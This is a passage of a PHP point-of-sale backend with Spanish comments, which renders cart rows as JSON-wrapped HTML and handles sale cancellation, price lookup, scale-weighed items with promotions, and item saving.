'<label align="center" class="editparam1" key="'.$keys.'" datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</label> '; } $data[$i]['prices'] = '<button type="submit" title="Precios Alternos" class="btn btn-default "> <a href="#" class="btnprices" key="'.$keys.'" datatitle="precios alternos" id="btnprices" dataparam="prices" val="'.$key['barcode'].'"> <i class="fa fa-bars"></i> Precios</a> </button>'; $data[$i]['qty'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Cantidad" dataparam="qty" val="'.number_format($key['qty'],2).'">'.number_format($key['qty'],2).' '.$key['unit'].'</a>'; $data[$i]['discprc'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Descuento" dataparam="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a> '; $data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>"; $data[$i]['button'] = ' <button type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'" class="btn btn-primary btndelete btn-sm" id="btndeletes'.$key['id_item'].'" ><i class="fa fa-remove"></i></button>'; $i++; } $datax = array('data' => $data); echo json_encode($datax); } if($method == 'getdata4' ){ $uniqid = 0; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getListTempSale4($kasir,$uniqid); $data = $array[1]; $i=0; foreach ($data as $key) { $keys = $key['id_item'].'|'.$key['unit']; $keys = base64_encode($keys); $total = $key['discprc'] * $key['qty'] ; $utilidad = $key['price'] - $key['discprc'] ; $utilidad2 = (1 - ($key['discprc']/$key['price']))*100 ; $data[$i]['price'] = '<a href="#" align="center" class="editparam4" key="'.$keys.'" datatitle="Precio de venta" dataparam4="hargajual" val="'.number_format($key['price'],2).'" >'.number_format($key['price'],2).'</a> '; $data[$i]['prices'] = '<button type="submit" title="Utilidad" class="btn btn-default "> <a href="#" class="btnpricesUtilidad" key="'.$keys.'" datatitle="Verificar Margenes de Utilidad" id="btnpricesUtilidad" dataparam4="Utilidad" val="'.$key['barcode'].'" val2="'.$utilidad.'" val3="'.number_format($utilidad2,2).'" > <i class="fa fa-bars"></i> Utilidad</a> </button>'; $data[$i]['qty'] = '<a href="#" class="editparam4" key="'.$keys.'" datatitle="Cantidad" dataparam4="qty" val="'.number_format($key['qty'],2).'">'.number_format($key['qty'],2).' '.$key['unit'].'</a>'; $data[$i]['discprc'] = '<a href="#" class="editparam4" key="'.$keys.'" datatitle="Precio Costo" dataparam4="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a> '; $data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>"; $data[$i]['button'] = ' <button type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'" class="btn btn-primary btndelete4 btn-sm" id="btndelete4'.$key['id_item'].'" ><i class="fa fa-remove"></i></button>'; $i++; } $datax = array('data' => $data); echo json_encode($datax); } if($method == 'getdata2' ){ $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; //consulta del registro del producto $pos = new pos(); $array = $pos->getListTempSale2($kasir,$uniqid); $data = $array[1]; //consulta de las ventas $i=0; foreach ($data as $key) { $keys = $key['id_item']; $keys = base64_encode($keys); $data[$i]['price'] = '<a href="#" align="center" class="editparamE" key="'.$keys.'" datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> '; $data[$i]['prices'] = '<button type="submit" title="Existencia Actual(todos los almacenes)" class="btn btn-default "> <a href="#" class="btnPedir" key="'.$keys.'" datatitle="Existencia Actual" id="btnPedir" dataparam="prices" val="'.$key['barcode'].'">'.number_format($key['existencia'],2).' <i class="fa fa-bars"></i></a> </button>'; $data[$i]['qty'] = '<a href="#" class="editparamE" key="'.$keys.'" datatitle="Ventas" dataparam="qty" val="'.number_format($key['compras'],2).'">'.number_format($key['compras'],2).'</a>'; $data[$i]['discprc'] = '<a href="#" class="editparamE" key="'.$keys.'" datatitle="Compras" dataparam="disc" val="'.number_format($key['ventas'],2).'">'.number_format($key['ventas'],2).'</a> '; $data[$i]['subtotal'] = '<span class="unit">'.number_format($key['dev'],2)."</span>"; $data[$i]['merma'] = '<span class="unit2">'.number_format($key['ajustes'],2)."</span>"; $data[$i]['button'] = ' <button type="submit" id_item="'.$key['id_item'].'" unit="pz" class="btn btn-danger btndelete2 btn-sm" id="btndeletes'.$key['id_item'].'" ><i class="fa fa-remove"></i></button>'; $i++; } $datax = array('data' => $data); echo json_encode($datax); } //cancelar la venta o borrar venta if($method == 'delete_trans') { $sale_id = $_POST['sale_id']; $username = $_SESSION['pos_username']; $notehapus = 'Cancelado por : '.$username.' ,at : '.date("l jS \of F Y h:i:s A"); $pos = new pos(); $array = $pos->deleteSale($sale_id,$notehapus); $data['result'] = $array[0]; $data['error'] = $array[1]; echo json_encode($data); } if($method == 'get_prices') { $id_item = $_POST['var_1']; $pos = new pos(); $result = array(); $query = $pos->getItemPrice($id_item); $data = $query[1]; $id_item = $data['price_min']; echo json_encode($id_item); } //actualizacion 20/04/2021 if($method == 'getdataA' ){ $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getListTempSale($kasir,$uniqid); $data = $array[1]; $i=0; foreach ($data as $key) { $keys = $key['id_item'].'|'.$key['unit']; $keys = base64_encode($keys); $total = ($key['price'] - ($key['price'] * $key['discprc'] /100) ) * $key['qty'] ; $data[$i]['price'] = '<a href="#" align="center" class="editparam" key="'.$keys.'" datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> '; $data[$i]['prices'] = '<button type="submit" title="Precios Alternos" class="btn btn-default "> <a href="#" class="btnprices" key="'.$keys.'" datatitle="precios alternos" id="btnprices" dataparam="prices" val="'.$key['barcode'].'"> <i class="fa fa-bars"></i> Precios</a> </button>'; $data[$i]['qty'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Cantidad" dataparam="qty" val="'.number_format($key['qty'],2).'">'.number_format($key['qty'],2).' '.$key['unit'].'</a>'; $data[$i]['discprc'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Descuento" dataparam="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a> '; $data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>"; $data[$i]['button'] = ' <button type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'" class="btn btn-primary btndelete btn-sm" id="btndeletes'.$key['id_item'].'" ><i class="fa fa-remove"></i></button>'; $i++; } $datax = array('data' => $data); echo json_encode($datax); } //actualizacion 25 abril 2021 if($method == 'save_temptableBacula') { //desglosamos el codigo y lo separaremos segun la nomenclatura de la bascula $str = $_POST['id_item']; $ruta_archivo = 'C:\xampp\htdocs\peso.txt'; $archivo = fopen($ruta_archivo, 'r'); $peso=fread($archivo, filesize($ruta_archivo)); fclose($archivo); //Asignamos los valores de peso y codigo aparte /* $cod3 = explode('0', $str, 4); //print_r($cod3[3]); $cod4 = substr($cod3[3], 0, -7); //codigo si es 8 es 08 y si es 12 es 12 $barcode =$cod4; //echo "---Peso: "; $datos3 = substr($str,7,-2); //echo "--"; //print_r($datos3/100); //extraemos peso $peso = $datos3/100; */ //////////termina desglose de codigo $peso1 = substr($peso, 0, -5); $peso= $peso1; $barcode= $str; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $result = array(); $query = $pos->getItem3($barcode); $data = $query[1]; $result['id_item'] = $data['id_item']; $result['item_name'] = $data['item_name']; $result['barcode'] = $barcode; //ponemos el peso de la bascula $result['qty'] = $peso; $result['unit'] ="kg"; $result['price'] = $data['price']; $result['discprcn'] = 0; $result['discrp'] = 0; //revisamos promocion por producto $result2 = array(); $query2 = $pos->getPromo($result['barcode']); $data2 = $query2[1]; $result2['name'] = $data2['name']; $result2['tipo'] = $data2['tipo']; $result2['monto'] = $data2['monto']; $result2['product_id'] = $data2['product_id']; $result2['category_id'] = $data2['category_id']; $result2['client_id'] = $data2['client_id']; $result2['is_active'] = $data2['is_active']; $result2['created_ini'] = $data2['created_ini']; $result2['created_finish'] = $data2['created_finish']; $NombrePromo = $data2['name']; //comparamos si hay un producto dentro de las promos $operacion=0; if($result2['product_id']==$result['barcode']){ //revisamos que tipo es por porcentaje = 1 o cantidad = 2 if($result2['tipo'] == 1) { $result['discprcn']= $result2['monto']; }elseif($result2['tipo']== 2){ $result['price'] = $result['price'] - $result2['monto']; $result['discrp'] = $result2['monto']; }else { $result['price'] = $result['price']; $result['barcode']="ErrorPromo"; } } $check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']); $jum = $check[1]; //validamos precio mayor a cero if($result['price'] > 0 ){ if($jum >=1) { } else { $insert = $pos->saveTempSale($kasir,$uniqid,$result['id_item'], $result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['msg'] = "bien"; $retval['promo'] = $NombrePromo; } }else{ $retval['msg'] = "mal"; } echo json_encode($retval); } if($method == 'save_item') { $iditem = $_POST['id_item']; $barcode = $_POST['barcode']; $nameitem = $_POST['item_name']; $unit= $_POST['unit']; $stock = $_POST['stock']; $tax = $_POST['tax']; $price = $_POST['price']; $note = $_POST['note']; $crud=$_POST['crud']; $pos = new pos(); if($_POST['crud'] == 'N') { $array = $pos->saveItem($barcode,$nameitem,$note ,$price,$stock,$unit ,$tax); if($array[0] == true) { $result['id_item'] = $array[2]; } $result['result'] = $array[0]; } else { if($price>0){ $array = $pos->updateItem($iditem,$nameitem,$price,$unit,$stock,$tax,$note); $result['result'] = $array[0]; }else{ $result['result'] = false; } } $result['error'] = $array[1]; $result['crud'] = $_POST['crud']; echo json_encode($result); } } else { exit('No direct access allowed.'); } ?>